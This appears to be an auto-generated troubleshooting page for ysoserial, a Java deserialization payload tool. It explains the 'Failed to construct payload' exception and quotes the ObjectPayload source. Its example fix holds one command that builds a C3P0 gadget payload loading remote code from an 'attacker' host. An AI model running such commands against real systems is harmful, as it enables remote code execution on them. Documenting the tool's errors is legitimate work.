frohoff/ysoserial · error · IllegalArgumentException

Failed to construct payload

Error message

Failed to construct payload

What it means

After the payload class resolves, makePayloadObject() instantiates it and calls getObject(payloadArg); any Exception from construction or payload generation is wrapped in an IllegalArgumentException("Failed to construct payload", e) with the original cause preserved. This is a wrapper indicating payload generation failed internally.

Solutions

1. Inspect the wrapped cause ('Caused by:') for the real failure and fix that first
2. Add the payload's @Dependencies jars to the classpath
3. Verify the command string matches the specific payload's expected format

Example fix

// before
// swallowing: java -jar ysoserial.jar C3P0 badarg  -> 'Failed to construct payload'
// after
// read 'Caused by: java.lang.IllegalArgumentException: Command format is: <base_url>:<classname>' and fix the arg:
java -jar ysoserial.jar C3P0 "http://attacker:8080/:Exploit"

// validate payload-specific argument shape before generation, e.g. required separators/files

try { obj = ObjectPayload.makePayloadObject(type, arg); } catch (IllegalArgumentException e) { Throwable cause = e.getCause(); log("payload construction failed", cause); }

When it happens

Trigger: Any underlying failure during payload.getObject() — malformed command string, missing local file, reflection failures, missing gadget dependencies on the classpath — bubbled up through makePayloadObject().

Common situations: Payload-specific argument format mistakes; missing @Dependencies jars on the classpath; target library version mismatch making a reflection lookup fail; input file not readable.

Understand the failure class

Background: "Must be a positive integer", "Invalid value", "Unsupported": the invalid-argument-value error family, when a library rejects the value you pass — this error's family across 35 libraries.

Related errors

• Hibernate4 can only call getters
• Command format is
• Command format is
• Unsupported command
• Unsupported command

AI-assisted analysis of frohoff/ysoserial@218bcffcaa (2026-09-12). Data as JSON: /api/errors/763ed2c2bf3524c7. Report an issue: GitHub.

Appendix: source

Thrown at src/main/java/ysoserial/payloads/ObjectPayload.java:72

            }
            return clazz;
        }


        public static Object makePayloadObject ( String payloadType, String payloadArg ) {
            final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
            if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
                throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");

            }

            final Object payloadObject;
            try {
                final ObjectPayload payload = payloadClass.newInstance();
                payloadObject = payload.getObject(payloadArg);
            }
            catch ( Exception e ) {
                throw new IllegalArgumentException("Failed to construct payload", e);
            }
            return payloadObject;
        }


        @SuppressWarnings ( "unchecked" )
        public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
            if ( payload instanceof ReleaseableObjectPayload ) {
                ( (ReleaseableObjectPayload) payload ).release(object);
            }
        }


        public static void releasePayload ( String payloadType, Object payloadObject ) {
            final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
            if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
                throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");

View on GitHub (pinned to 218bcffcaa)